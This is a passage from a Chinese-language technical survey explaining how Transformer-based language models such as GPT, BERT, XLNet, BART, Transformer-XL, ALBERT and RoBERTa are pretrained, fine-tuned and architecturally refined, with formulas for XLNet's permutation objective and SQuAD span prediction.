<h4 id="线性层和输出预测">线性层和输出预测</h4>
<p>Decoder最终负责输出预测序列,为了实现这一点,我们将decoder的输出输入到一个线性层中,该线性层将<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>d</mi><mtext mathvariant="normal">model</mtext></msub><annotation encoding="application/x-tex">d_{\text{model}}</annotation></semantics></math>维的向量重新投影到<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="true" form="prefix">|</mo><mtext mathvariant="normal">Vocabulary</mtext><mo stretchy="true" form="postfix">|</mo></mrow><annotation encoding="application/x-tex">\left| \text{Vocabulary} \right|</annotation></semantics></math>维上,经过softmax后,选择概率最高的一个词作为预测结果。</p>
<p>由于decoder使用了look ahead mask和shifted right,所以每个位置的输出都只包含encoder的完整序列和decoder已生成部分序列的信息,符合seq2seq的特点。</p>
<h4 id="实验结果">实验结果</h4>
<p>实验分为三部分。第一是机器翻译。文中比较了Transformer和其他7个模型(含2个整合模型)的翻译性能(BLEU分值)和训练成本(FLOPs),其中大型Transformer模型比以前的最佳模型高出2.0个BLEU以上,而且训练成本比其他模型都要小。第二是测试了Transformer模型的变体,即各种超参数。主要结论是,在保持计算量不变的情况下,attention head的数量过多或过少都会有负面影响;模型的维度(包括嵌入大小、前馈层大小、key的大小)基本都是越大越好。第三是English constituency parsing。这个任务不是翻译,而是句法分析。虽然Transformer没有针对该特定任务调优,但是它的推断能力(WSJ 23 F1)接近之前最好的模型。</p>
<h2 id="contextual-word-embedding模型">Contextual Word Embedding模型</h2>
<p>Transformer的价值可能主要不是它的翻译能力,而是它的encoder和decoder结构,该结构可以获取输入序列隐含的相关信息。下面介绍的模型基本都采用Transformer的encoder或decoder作为模型的基础结构,具体包括六个模型:</p>
<ul>
<li><p>Generative Pre-Training (GPT) (Radford et al., 2018)</p></li>
<li><p>Bidirectional Encoder Representations from Transformers (BERT) (Devlin et al., 2018)</p></li>
<li><p>Masked Sequence to Sequence Pre-training (MASS) (Song et al., 2019)</p></li>
<li><p>Unified Pre-trained Language Model (UNILM) (Dong et al., 2019)</p></li>
<li><p>XLNet (Yang et al., 2019)</p></li>
<li><p>BART (Lewis et al., 2019)</p></li>
</ul>
<p>这六个模型大致可以分为两种结构,其中BERT、UNILM、GPT、XLNet可以看成多层Transformer Block或Attention的堆叠,最后输出是每个token的contextual embedding;MASS和BART可以看成完整的encoder-decoder结构,可以用于seq2seq任务。</p>
<h2 id="训练过程">训练过程</h2>
<p>上面列出的contextual word embedding模型的训练过程都分为预训练和微调两步。</p>
<h3 id="预训练">预训练</h3>
<p>预训练(pre-training)过程的主要作用是利用大量无标注的语料,让模型的参数达到一个较好的状态,学习到一定的语义信息。上述的六个模型全部都使用了语言模型(Language Model, LM)任务作为预训练任务,另外BERT和UNILM还使用了下一句预测(Next Sentence Prediction, NSP)任务作为预训练任务。</p>
<h4 id="lm任务">LM任务</h4>
<p>不同的模型结构对LM有不同的设计,但总体目标都是通过语境信息正确预测某些位置的token。</p>
<p>GPT是多层Transformer decoder堆叠的模型,它的特点是每个Q只能attend到它之前的K,所以是一个生成型的模型。因此GPT的预训练任务也是生成型的LM,每次输入语料库中k个词的词嵌入(加位置编码),输出第k+1个词的概率。这个过程与最早的神经语言模型(NNLM)类似。</p>
<p>BERT是多层Transformer encoder堆叠的模型,它的特点是没有look ahead mask,所以每两个词之间都可以进行attention操作。这种设计下,要实现LM,就必须对输入序列进行某种破坏,然后预测被破坏的部分。论文中设计了Masked Language Model (MLM),方法是,数据生成器随机选择15%的单词进行屏蔽(将token替换为[MASK]标记),然后把这些被屏蔽单词对应的最终输出向量送入词汇表的softmax实现预测。因为在后续微调过程中并没有[MASK]这种屏蔽标记,所以为了让训练过程与实际情况更一致,屏蔽单词的时候用了一点技巧,即如果选择了某个被屏蔽的单词,那么这个单词有80%的可能被替换为[MASK]标记,有10%的可能被替换为随机单词,有10%的可能保持不变。</p>
<p>MASS和BART都是完整的encoder-decoder,实际上他们都直接使用了完整的Transformer模型,只是在输入输出上做了一些处理。MASS的预训练方法类似于BERT的MLM,但是要求mask区域是连续的k个词。模型的encoder部分输入一个序列,其中用类似于BERT的策略mask掉其中连续的k个词,decoder的输入分为两部分,其中一个是encoder的输出经过attention的结果,另一个是已预测的序列,输出下一个预测的词,目标是使得被mask掉的词概率乘积最大。值得注意的是,这个模型中上下文信息主要来自于encoder,因为decoder输入的上下文是被mask掉的,只包含前面几个已预测的词,这样可以迫使decoder学习更多encoder编码表示的信息。BART与MASS的不同之处在于,它要求decoder部分预测完整的序列,而不仅仅是被mask的部分。这也使得它可应用于任意类型的文档破坏。极端情况下,当源文本信息全部缺失时,BART也等同于语言模型。论文中测试的几种文本破坏方法包括:</p>
<ul>
<li><p>Token掩码:按照BERT模型,BART采样随机token,并用[MASK]替换它们。</p></li>
<li><p>Token删除:从输入中随机删除token。与token掩码不同,模型必须确定删除的位置。</p></li>
<li><p>文本填充:采样多个文本段,文本段长度取决于泊松分布(<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>λ</mi><mo>=</mo><mn>3</mn></mrow><annotation encoding="application/x-tex">\lambda = 3</annotation></semantics></math>),用单个[MASK]替换这些文本段。如果采样的文本段长度为0,相当于插入一个[MASK]。</p></li>
<li><p>句子排列变换:按句号将文档分割成多个句子,然后以随机顺序打乱这些句子。</p></li>
<li><p>文档旋转:随机均匀地选择一个token,然后循环移位文档,使该token成为文档的开头。该任务的目的是训练模型识别文档真正的开头。</p></li>
</ul>
<p>UNILM与BERT的结构基本相同,但是它在BERT的基础上添加了各种attention mask,因此可以用于更多类型的任务。它的预训练任务包含了单向LM(包括从左到右和从右到左)、双向LM和seq2seq LM,其中单向LM与GPT相同,双向LM与BERT相同。Seq2seq LM的训练方法是,将源序列和目标序列同时输入模型,作为句子对,随机遮蔽词后,预测源序列中的词时可以使用源序列所有的上下文,预测目标序列时只能使用源序列和目标序列左侧的上下文,这样符合序列生成的过程。</p>
<p>XLNet认为之前基于语言模型的预训练都有缺点,AR语言模型(如GPT)的缺点是无法同时利用上下文的信息,AE语言模型(如BERT)的缺点是在输入侧引入[MASK]标记,而微调阶段是看不到[MASK]标记的,导致预训练阶段和微调阶段不一致的问题。XLNet的训练语言模型的方法是,先随意打乱一句话的排列顺序,然后按照新的排列顺序通过AR语言模型进行预测。这样既可以让语言模型学到双向的上下文信息,又可以避免额外的标记导致的数据不一致的问题。具体实现方式是,不改变输入时句子的顺序,而是在逻辑上随机选择一种排列,将该排列末尾的几个词用attention mask屏蔽掉,然后逐一预测。</p>
<p>上面的想法比较直观,但是会导致另一个问题,就是在预测的时候不知道当前预测的位置。具体地说,设<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msup><mi>z</mi><mrow><mo stretchy="true" form="prefix">(</mo><mn>1</mn><mo stretchy="true" form="postfix">)</mo></mrow></msup><annotation encoding="application/x-tex">z^{(1)}</annotation></semantics></math>和<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msup><mi>z</mi><mrow><mo stretchy="true" form="prefix">(</mo><mn>2</mn><mo stretchy="true" form="postfix">)</mo></mrow></msup><annotation encoding="application/x-tex">z^{(2)}</annotation></semantics></math>是两种不同的下标排列,并且<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>z</mi><mrow><mo><</mo><mi>t</mi></mrow><mrow><mo stretchy="true" form="prefix">(</mo><mn>1</mn><mo stretchy="true" form="postfix">)</mo></mrow></msubsup><mo>=</mo><msubsup><mi>z</mi><mrow><mo><</mo><mi>t</mi></mrow><mrow><mo stretchy="true" form="prefix">(</mo><mn>2</mn><mo stretchy="true" form="postfix">)</mo></mrow></msubsup><mo>=</mo><msub><mi>z</mi><mrow><mo><</mo><mi>t</mi></mrow></msub></mrow><annotation encoding="application/x-tex">z_{< t}^{(1)} = z_{< t}^{(2)} = z_{< t}</annotation></semantics></math>但<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>z</mi><mi>t</mi><mrow><mo stretchy="true" form="prefix">(</mo><mn>1</mn><mo stretchy="true" form="postfix">)</mo></mrow></msubsup><mo>=</mo><mi>i</mi><mo>≠</mo><mi>j</mi><mo>=</mo><msubsup><mi>z</mi><mi>t</mi><mrow><mo stretchy="true" form="prefix">(</mo><mn>2</mn><mo stretchy="true" form="postfix">)</mo></mrow></msubsup></mrow><annotation encoding="application/x-tex">z_{t}^{(1)} = i \neq j = z_{t}^{(2)}</annotation></semantics></math>,那么这两种排列分别在预测第<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mi>t</mi><annotation encoding="application/x-tex">t</annotation></semantics></math>个位置的时候就会出现</p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>θ</mi></msub><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>X</mi><mrow><mi>i</mi><mo>=</mo><msubsup><mi>z</mi><mi>t</mi><mrow><mo stretchy="true" form="prefix">(</mo><mn>1</mn><mo stretchy="true" form="postfix">)</mo></mrow></msubsup></mrow></msub><mo>=</mo><mi>x</mi><mo stretchy="true" form="infix">|</mo><msub><mi>x</mi><msub><mi>z</mi><mrow><mo><</mo><mi>t</mi></mrow></msub></msub><mo stretchy="true" form="postfix">)</mo></mrow><mo>=</mo><msub><mi>p</mi><mi>θ</mi></msub><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>X</mi><mrow><mi>j</mi><mo>=</mo><msubsup><mi>z</mi><mi>t</mi><mrow><mo stretchy="true" form="prefix">(</mo><mn>2</mn><mo stretchy="true" form="postfix">)</mo></mrow></msubsup></mrow></msub><mo>=</mo><mi>x</mi><mo stretchy="true" form="infix">|</mo><msub><mi>x</mi><msub><mi>z</mi><mrow><mo><</mo><mi>t</mi></mrow></msub></msub><mo stretchy="true" form="postfix">)</mo></mrow><mo>=</mo><mfrac><mrow><mo>exp</mo><mrow><mo stretchy="true" form="prefix">(</mo><mi>e</mi><msup><mrow><mo stretchy="true" form="prefix">(</mo><mi>x</mi><mo stretchy="true" form="postfix">)</mo></mrow><mi>T</mi></msup><mi>h</mi><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>x</mi><msub><mi>z</mi><mrow><mo><</mo><mi>t</mi></mrow></msub></msub><mo stretchy="true" form="postfix">)</mo></mrow><mo stretchy="true" form="postfix">)</mo></mrow></mrow><mrow><munderover><mo>∑</mo><msup><mi>x</mi><mi>′</mi></msup><mrow></mrow></munderover><mrow><mo>exp</mo><mrow><mo stretchy="true" form="prefix">(</mo><mi>e</mi><msup><mrow><mo stretchy="true" form="prefix">(</mo><msup><mi>x</mi><mi>′</mi></msup><mo stretchy="true" form="postfix">)</mo></mrow><mi>T</mi></msup><mi>h</mi><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>x</mi><msub><mi>z</mi><mrow><mo><</mo><mi>t</mi></mrow></msub></msub><mo stretchy="true" form="postfix">)</mo></mrow><mo stretchy="true" form="postfix">)</mo></mrow></mrow></mrow></mfrac></mrow><annotation encoding="application/x-tex">p_{\theta}\left( X_{i = z_{t}^{(1)}} = x \middle| x_{z_{< t}} \right) = p_{\theta}\left( X_{j = z_{t}^{(2)}} = x \middle| x_{z_{< t}} \right) = \frac{\exp\left( e(x)^{T}h\left( x_{z_{< t}} \right) \right)}{\sum_{x^{'}}^{}{\exp\left( e\left( x^{'} \right)^{T}h\left( x_{z_{< t}} \right) \right)}}</annotation></semantics></math></p>
<p>的情况。也就是说,虽然要预测的词不同,但是对于模型来说每个词的概率是相同的。这是因为输入的参数中没有<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>z</mi><mi>t</mi></msub><annotation encoding="application/x-tex">z_{t}</annotation></semantics></math>这个值,导致模型不知道现在预测的词的下标是什么。为了引入当前下标的信息,论文中提出了two-stream self-attention的方法,其基本思想就是设计attention中的Q。对于原来的AR语言模型(如GPT),由于是顺序预测,所以只要用上一个embedding作为Q即可。而XLNet打乱了预测顺序,因此简单地使用上一个embedding是不可行的。Two-stream self-attention引入了一个可训练的embedding作为Q,而这个embedding在输入的时候带有Positional Encoding,这样就引入了当前预测位置的信息。</p>
<h4 id="nsp任务">NSP任务</h4>
<p>许多下游任务都需要支持两个序列同时输入,上述的六个模型中除了MASS以外都支持了这种设计,实现方法是将输入序列表示为</p>
<p>[CLS] s1 [SEP] s2 [EOS]</p>
<p>即把两个序列拼接起来,前后和中间各加一个特殊标记。既然引入了特殊标记,那么就要让模型学习到标记的含义。NSP任务就是为这一点设计的。</p>
<p>NSP的方法是,每次输入两个句子A和B,其中句子B有50%的可能是A在语料库中的下一句话,有50%的可能是从语料库中随机挑选的一句话。最后将[CLS]标记对应的输出向量送入分类层实现判别。</p>
<p>在这个任务中,模型利用[CLS]标记进行分类,并区分了[SEP]标记分割的两个句子,便于在后续的微调中继续使用这两个标记。</p>
<h3 id="微调">微调</h3>
<p>与传统的Static Word Embeddings模型不同,contextual word embedding模型每次生成的词嵌入都是语境相关的。因此,contextual word embedding可以支持更多的下游任务,只需要将预训练好的模型再增加一个任务相关的结构,进行端到端的微调训练即可。</p>
<p>NLP任务可以分为自然语言理解(NLU)和自然语言生成(NLG)。其中NLU任务可以根据输出细分为序列分类(情感分类、逻辑推断、句子相似度)、token分类(命名实体识别)、获取输入的子串(提取型问答)三种。NLG任务的输出是sequence,包括机器翻译、文本摘要、生成型问答等。</p>
<p>上面所述的六个模型,除了MASS只支持NLG任务以外,其他五个模型都同时支持NLU和NLG任务。本文将按照输出的形式分类介绍微调方法。</p>
<h4 id="序列分类">序列分类</h4>
<p>序列分类是指对一句话或两句话整体的分类或评分,例如SST-2的情感二分类任务和STSB的语义相似度五分类任务。这类任务微调的方法是取某个特定输入对应的输出embedding,将该embedding输入到分类层,通常该分类层就是一个全连接层加一个softmax。具体取哪个位置的输出是由模型结构确定的。对于BERT、UNILM和XLNet,他们可以支持双向的attention,所以可以取最前面[CLS]标记对应的输出embedding用于分类。对于GPT和BART,他们的输出层都是decoder,由于存在look ahead mask,所以只有最后一个token才能attend到整个序列,所以这两个模型是取最后一个token对应的输出embedding。</p>
<h4 id="token分类">Token分类</h4>
<p>Token分类是指对序列中的每个token进行分类,例如CoNLL-2003命名实体识别任务。这类任务微调的方法是将每个token对应的输出embedding输入到一个较小序列分类器中,如RNN或多层CNN,然后用传统的序列分类方法即可。虽然多加了一层序列分类器,但一般微调的过程还是端到端的,也就是说主体模型的参数也会调整。</p>
<h4 id="获取输入的子串">获取输入的子串</h4>
<p>这个类型的输出主要针对的是SQuAD问答任务,数据集中包含许多文本片段,每个片段对应一些阅读理解问题,这些问题的答案都节选自给定的文本片段。SQuAD 1.1包含十万个问题-答案对,SQuAD 2.0在此基础上增加了五万多个无法回答的问题,也就是说文本片段中不包含这些问题的答案,模型必须在回答前加以判断。</p>
<p>在微调过程中,每次将问题作为序列A,文本片段作为序列B同时输入到模型中。设置两个可学习的参数向量S和E,分别与序列B的每个输出embedding计算dot-product,目标是最大化</p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><munderover><mo>∑</mo><mrow><mi>i</mi><mo>∈</mo><mi>s</mi><mi>t</mi><mi>a</mi><mi>r</mi><mi>t</mi></mrow><mrow></mrow></munderover><mrow><mo>log</mo><mfrac><mrow><mo>exp</mo><mrow><mo stretchy="true" form="prefix">(</mo><mi>S</mi><mo>⋅</mo><msub><mi>T</mi><mi>i</mi></msub><mo stretchy="true" form="postfix">)</mo></mrow></mrow><mrow><munderover><mo>∑</mo><mi>j</mi><mrow></mrow></munderover><mrow><mo>exp</mo><mrow><mo stretchy="true" form="prefix">(</mo><mi>S</mi><mo>⋅</mo><msub><mi>T</mi><mi>j</mi></msub><mo stretchy="true" form="postfix">)</mo></mrow></mrow></mrow></mfrac></mrow></mrow><annotation encoding="application/x-tex">\sum_{i \in start}^{}{\log\frac{\exp\left( S \cdot T_{i} \right)}{\sum_{j}^{}{\exp\left( S \cdot T_{j} \right)}}}</annotation></semantics></math></p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><munderover><mo>∑</mo><mrow><mi>i</mi><mo>∈</mo><mi>e</mi><mi>n</mi><mi>d</mi></mrow><mrow></mrow></munderover><mrow><mo>log</mo><mfrac><mrow><mo>exp</mo><mrow><mo stretchy="true" form="prefix">(</mo><mi>E</mi><mo>⋅</mo><msub><mi>T</mi><mi>i</mi></msub><mo stretchy="true" form="postfix">)</mo></mrow></mrow><mrow><munderover><mo>∑</mo><mi>j</mi><mrow></mrow></munderover><mrow><mo>exp</mo><mrow><mo stretchy="true" form="prefix">(</mo><mi>E</mi><mo>⋅</mo><msub><mi>T</mi><mi>j</mi></msub><mo stretchy="true" form="postfix">)</mo></mrow></mrow></mrow></mfrac></mrow></mrow><annotation encoding="application/x-tex">\sum_{i \in end}^{}{\log\frac{\exp\left( E \cdot T_{i} \right)}{\sum_{j}^{}{\exp\left( E \cdot T_{j} \right)}}}</annotation></semantics></math></p>
<p>其中<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>T</mi><mi>i</mi></msub><annotation encoding="application/x-tex">T_{i}</annotation></semantics></math>表示第i个token的输出embedding。</p>
<p>在测试时,计算<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mo>⋅</mo><msub><mi>T</mi><mi>i</mi></msub><mo>+</mo><mi>E</mi><mo>⋅</mo><msub><mi>T</mi><mi>j</mi></msub></mrow><annotation encoding="application/x-tex">S \cdot T_{i} + E \cdot T_{j}</annotation></semantics></math>,其中<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo>≤</mo><mi>j</mi></mrow><annotation encoding="application/x-tex">i \leq j</annotation></semantics></math>,选择这个分值最大的一对ij作为答案的起始和终止位置。</p>
<p>对于SQuAD 2.0,再额外计算一次S和E与[CLS]标记对应的输出向量C的内积作为无答案的分值<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>s</mi><mtext mathvariant="normal">null</mtext></msub><mo>=</mo><mi>S</mi><mo>⋅</mo><mi>C</mi><mo>+</mo><mi>E</mi><mo>⋅</mo><mi>C</mi></mrow><annotation encoding="application/x-tex">s_{\text{null}} = S \cdot C + E \cdot C</annotation></semantics></math>,然后将这个值与有答案的分值<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mover><mi>s</mi><mo accent="true">̂</mo></mover><mrow><mi>i</mi><mo>,</mo><mi>j</mi></mrow></msub><mo>=</mo><msub><mo>max</mo><mrow><mi>i</mi><mo>≤</mo><mi>j</mi></mrow></msub><mrow><mi>S</mi><mo>⋅</mo><msub><mi>T</mi><mi>i</mi></msub><mo>+</mo><mi>E</mi><mo>⋅</mo><msub><mi>T</mi><mi>j</mi></msub></mrow></mrow><annotation encoding="application/x-tex">\hat s_{i,j} = \max_{i \leq j}{S \cdot T_{i} + E \cdot T_{j}}</annotation></semantics></math>进行比较,如果<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mover><mi>s</mi><mo accent="true">̂</mo></mover><mrow><mi>i</mi><mo>,</mo><mi>j</mi></mrow></msub><mo>></mo><msub><mi>s</mi><mtext mathvariant="normal">null</mtext></msub><mo>+</mo><mi>τ</mi></mrow><annotation encoding="application/x-tex">\hat s_{i,j} > s_{\text{null}} + \tau</annotation></semantics></math>,那么就认为该问题有答案,其中<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mi>τ</mi><annotation encoding="application/x-tex">\tau</annotation></semantics></math>是通过训练集选取的使F1分值最大的值。</p>
<h4 id="seq2seq">Seq2Seq</h4>
<p>在上述六个模型中,MASS、BART和UNILM是可以实现序列生成的。其中MASS和BART的结构与Transformer完全相同,微调方法也与Transformer的训练方法相同,这里不再重复。UNILM的seq2seq微调过程与seq2seq LM预训练过程类似,但是只随机遮蔽目标序列,不遮蔽源序列。值得注意的是,目标序列的结束标记[EOS]在微调过程中也可以被屏蔽,这样可以使模型学习何时生成[EOS]以结束目标序列的生成过程。</p>
<h4 id="bart用于机器翻译">BART用于机器翻译</h4>
<p>作为一个特例,BART没有把机器翻译看成普通的序列生成任务,而是把整个BART模型看成一个decoder,再添加一个小型随机初始化的encoder用于编码原文。这样做的原因是,预训练过程中BART的encoder和decoder都是用同一种语言进行的,那么在微调过程中如果直接输入另一种语言就显然不太合理。</p>
<p>训练分为两步:第一步,冻结大部分BART参数,只更新随机初始化的源encoder、BART的positional embeddings和BART encoder第一层的attention。第二步,对所有模型参数进行少量迭代训练。</p>
<h2 id="transformer的优化设计">Transformer的优化设计</h2>
<p>Transformer作为encoder和decoder的特征提取和解码能力都比较强,这点在上述许多模型中都有所体现。不过也有一些基于Transformer的调整和设计,优化了它的训练过程或下游任务性能。</p>
<h3 id="transformer-xl">Transformer-XL</h3>
<p>Transformer-XL (Dai et al., 2019) 解决了模型结构带来的上下文碎片的问题,使模型拥有了捕获更长距离依赖的能力。它的两个主要改进是段级循环机制(Segment-Level Recurrence Mechanism)和相对位置编码(Relative Positional Encodings)。</p>
<p>原始的Transformer引入了attention机制,使得模型能够直接捕获整个输入片段的每个词之间的依赖关系。但是原始的Transformer的最大输入长度是固定的,这导致它无法处理超出该范围的上下文长度。此外,固定长度的片段是通过选择连续的符号块来创建的,而没有使用句子或任何其他语义边界,导致上下文碎片的问题。段循环机制的方法就是每次将模型的隐状态保留下来,在下一时刻的attention过程中,每个Query不仅可以attend到该时刻其底层的Key,还能attend到上一时刻的Key。在测试过程中,Transformer-XL不需要像原始的Transformer那样为每一个位置重新做一次完整上下文的运算,而可以用段级循环机制每次预测完整的一段,大大提高了模型性能。</p>
<p>由于采用了段级循环机制,模型每次输入的一段就不再是从头开始的了,所以原始的绝对位置编码也不再适用。但是实际上我们大多时候只需要相对位置的信息,所以论文中提出了一种相对位置编码。与原始Transformer不同,该相对位置编码是在每一层的attention中加入的,而不是在初始嵌入中加入。设attention的Query的位置为i,Key的位置为j,那么就在attention分数中引入一个静态的相对位置编码<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>R</mi><mrow><mi>i</mi><mo>−</mo><mi>j</mi></mrow></msub><annotation encoding="application/x-tex">R_{i - j}</annotation></semantics></math>来表达。</p>
<p>实验部分测试了模型在单词级别和字符级别上不同数据集的表现,并且与RNN和Transformer都做了比较。实验证明,Transformer-XL在各个不同的数据集上均实现了目前的SOTA,并且它的相对有效上下文长度(Relative Effective Context Length, RECL)、测试速度和文本生成能力都较为优秀。</p>
<h3 id="albert">ALBERT</h3>
<p>ALBERT (Lan et al., 2019) 在BERT的基础上减少了参数量并提升了模型效果。它的主要设计分为三点:分解嵌入参数(Factorized embedding parameterization)、跨层参数共享(Cross-layer parameter sharing)和句间连贯性目标(Inter-sentence coherence loss)。</p>
<p>在原始的BERT中,输入词嵌入和Transformer内部隐状态向量的长度都是相等的,而论文认为这并不是必要的,因为理论上输入词嵌入只包含当前词的信息,而隐状态包含了上下文信息,所以隐状态应当比词嵌入复杂得多。而如果词嵌入使用了不必要的长度,由于词汇表大小较大,就会导致模型参数量过大。分解嵌入参数的想法就是直接缩小词嵌入的长度,然后用一个投影层在输入之前将词嵌入投影到隐状态的长度上。从后续的实验中来看,词嵌入的长度与实验效果也不是完全正相关。</p>
<p>跨层参数共享就是将原始BERT的多层Transformer Block的参数共享,而不是为每一层block训练新的参数。实验表明,参数共享可能会导致性能略有下降,但是并不明显。另外通过对比每层输入输出的L2距离和相似度,发现了BERT的结果比较震荡,而ALBERT比较稳定,跨层参数共享有稳定网络参数的作用。</p>
<p>许多研究都表明BERT的NSP任务的作用不大,甚至有可能具有负面影响。论文任务NSP任务无效的原因是该任务不够困难,模型可能会混淆主题预测和连贯性预测,而主题预测更容易学习。为了解决这个问题,论文引入了句子顺序预测任务,即判定输入的两句话是否被前后交换过。由于两句话都是同一篇文章中的内容,所以无法简单地通过主题来判断,而一定要学习句子间的连贯性才能完成。实验显示该任务能够提升下游任务的性能。</p>
<h3 id="evolved-transformer">Evolved Transformer</h3>
<p>Evolved Transformer (So et al., 2019) 使用神经结构搜索(Neural architecture search,NAS)的锦标赛选择(Tournament Selection)算法得到了更优秀的Transformer结构。</p>
<p>搜索过程以原始的Transformer结构出发,通过变换各种函数层生成后代,然后将后代中准确率最高的模型加入到种群中,进行下一轮迭代。</p>
<p>由于实验采用的是机器翻译数据集,所以如果进行完整的训练和验证会花费很多时间。因此论文中设计了一种渐进式动态障碍(Progressive Dynamic Hurdle)的测试方法。该方法在搜索开始时和锦标赛选择算法方法一致,在训练当前子代模型相对小的步数之后,评价适应度,然后根据现有的适应度选出合适的阈值,文中选取的是平均值,达到了阈值的子代会额外获得一定的训练步数,而没达到阈值的子代会被直接淘汰。这样的好处是,性能差的子模型在计算他们的适应度时不会消耗过多的资源。这可能会导致部分在训练后期优秀的子模型被丢弃,但是节省的资源提高了搜索的整体质量。</p>
<p>论文将通过搜索得到的最好的一个模型结构称为Evolved Transformer,并将该模型与原始的Transformer在不同任务不同参数情况下进行了比较。在相同参数下,Evolved Transformer有更好的性能,在相同性能下,Evolved Transformer只需要更少的参数。</p>
<h3 id="sandwich-transformer">Sandwich Transformer</h3>
<p>如果把Transformer block中的结构拆开,可以看成是self-attention子层和feedforward子层的交替串接,称为交叉(interleaved)Transformer。但是Press et al. (2019) 提出,似乎并没有论证表明self-attention子层(s)和feedforward子层(f)交替就是最好的设计,可以尝试随机排列这两者来提高模型性能。</p>
<p>实验中作者探讨了两点:一个是s和f层的数量比例的问题,发现不均衡的模型并没有显著优于均衡的模型;另一个是s和f层排列先后的问题,实验中发现s偏底层而f偏顶层效果越好。实验中保证模型的参数量相同。</p>
<p>基于以上两种观察,论文设计了一种性能较优的结构,Sandwich Transformer,该结构将s层集中在底层,f层集中在顶层,中间加入s与f交叉的排列,写成公式形式为<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>s</mi><mi>k</mi></msup><msup><mrow><mo stretchy="true" form="prefix">(</mo><mtext mathvariant="normal">sf</mtext><mo stretchy="true" form="postfix">)</mo></mrow><mrow><mi>n</mi><mo>−</mo><mi>k</mi></mrow></msup><msup><mi>f</mi><mi>k</mi></msup></mrow><annotation encoding="application/x-tex">s^{k}\left( \text{sf} \right)^{n - k}f^{k}</annotation></semantics></math>,其中n固定为16。通过测试不同大小的k值,发现k为6时模型在WikiText-103数据集上的perplexity最小。</p>
<p>最后论文在其他不同的任务上进行了实验,Sandwich Transformer虽然降低了语言模型的perplexity,但是没有在翻译任务上取得更优的结果。不过这种调整子层的方法可以在不额外增加参数和训练量的情况下提升一些模型性能。</p>
<h3 id="pre-ln-transformer">Pre-LN Transformer</h3>
<p>在原始的Transformer模型中,每个block的最后一个子层是Layer Norm子层,并且它处于残差连接之后,也就是说每个block的标注化操作是在最后单独进行的。Xiong et al. (2020) 提出,这种设计会导致模型初始的梯度过大,所以需要warm-up阶段来使用梯度下降法训练模型。而通过将Layer Norm子层移入到残差连接内部的最底层可以降低模型初始的梯度,从而可以删去warm-up阶段,以加速训练,减少超参数量。</p>
<p>论文中将原始的Transformer模型称为Post-LN Transformer,将Layer Norm子层移入到残差连接内部的模型称为Pre-LN Transformer。通过推导,得出结论,Post-LN Transformer中,最后的全连接层梯度的范围与Transformer的层数L无关,而在Pre-LN Transformer中,最后的全连接层梯度的范围与L成反比,所以这种结构下模型的层数越多在训练的初始阶段梯度下降就越稳定。</p>
<p>实验部分,论文在IWSLT14数据集上进行了Deutsche-English和English-Deutsche的翻译任务,以及MRPC和RTE两项下游任务,以验证Pre-LN的有效性。Pre-LN在训练时间和准确率方面结果均优于Post-LN。</p>
<h2 id="bert的优化设计">BERT的优化设计</h2>
<p>BERT作为一个典型的contextual word embedding模型,便于修改结构增加特性。目前有一些基于BERT结构的优化方法,如基于参数调整的RoBERTa (Liu et al., 2019),基于预训练LM任务优化的SpanBERT (Joshi et al., 2020)、StructBERT (Wang et al., 2019) 和ELECTRA (Clark et al., 2020),引入指导信息的模型SenseBERT (Levine et al., 2019) 和Weakly Supervised Knowledge-Pretrained Language Model (WKLM) (Xiong et al., 2019),以及针对低频词优化的BERTRAM (Schick and Schütze, 2019)。</p>
<h3 id="基于参数的优化">基于参数的优化</h3>
<p>RoBERTa (Liu et al., 2019) 针对BERT的一些细节进行了调整和测试。</p>
<p>第一是修改了BERT的Mask LM任务的mask方法。原始的BERT是在数据预处理阶段进行的mask,也就是说在整个训练期间的多个epoch中,每个词是否被mask是固定的。RoBERTa尝试将mask操作调整到输入时动态进行,这样每个epoch期间被mask的单词都是变化的。</p>
<p>第二是探索了NSP任务对模型结果的影响。共测试了4种训练方式:</p>
<ul>
<li><p>SEGMENT-PAIR + NSP:这是原始BERT的做法。输入包含两部分,每个部分是来自同一文档或者不同文档的segment(segment是连续的多个句子)。预训练包含NSP任务。</p></li>
<li><p>SENTENCE-PAIR + NSP:输入也是包含两部分,每个部分是来自同一个文档或者不同文档的单个句子。预训练包含NSP任务。</p></li>
<li><p>FULL-SENTENCES:输入只有一部分(而不是两部分),来自同一个文档或者不同文档的连续多个句子。输入可能跨越文档边界,如果跨文档,则在上一个文档末尾添加文档边界token。预训练不包含NSP任务。</p></li>
<li><p>DOC-SENTENCES:输入只有一部分,类似于FULL-SENTENCES,只是不能跨越文档边界,其输入来自同一个文档的连续句子。预训练不包含NSP任务。</p></li>
</ul>
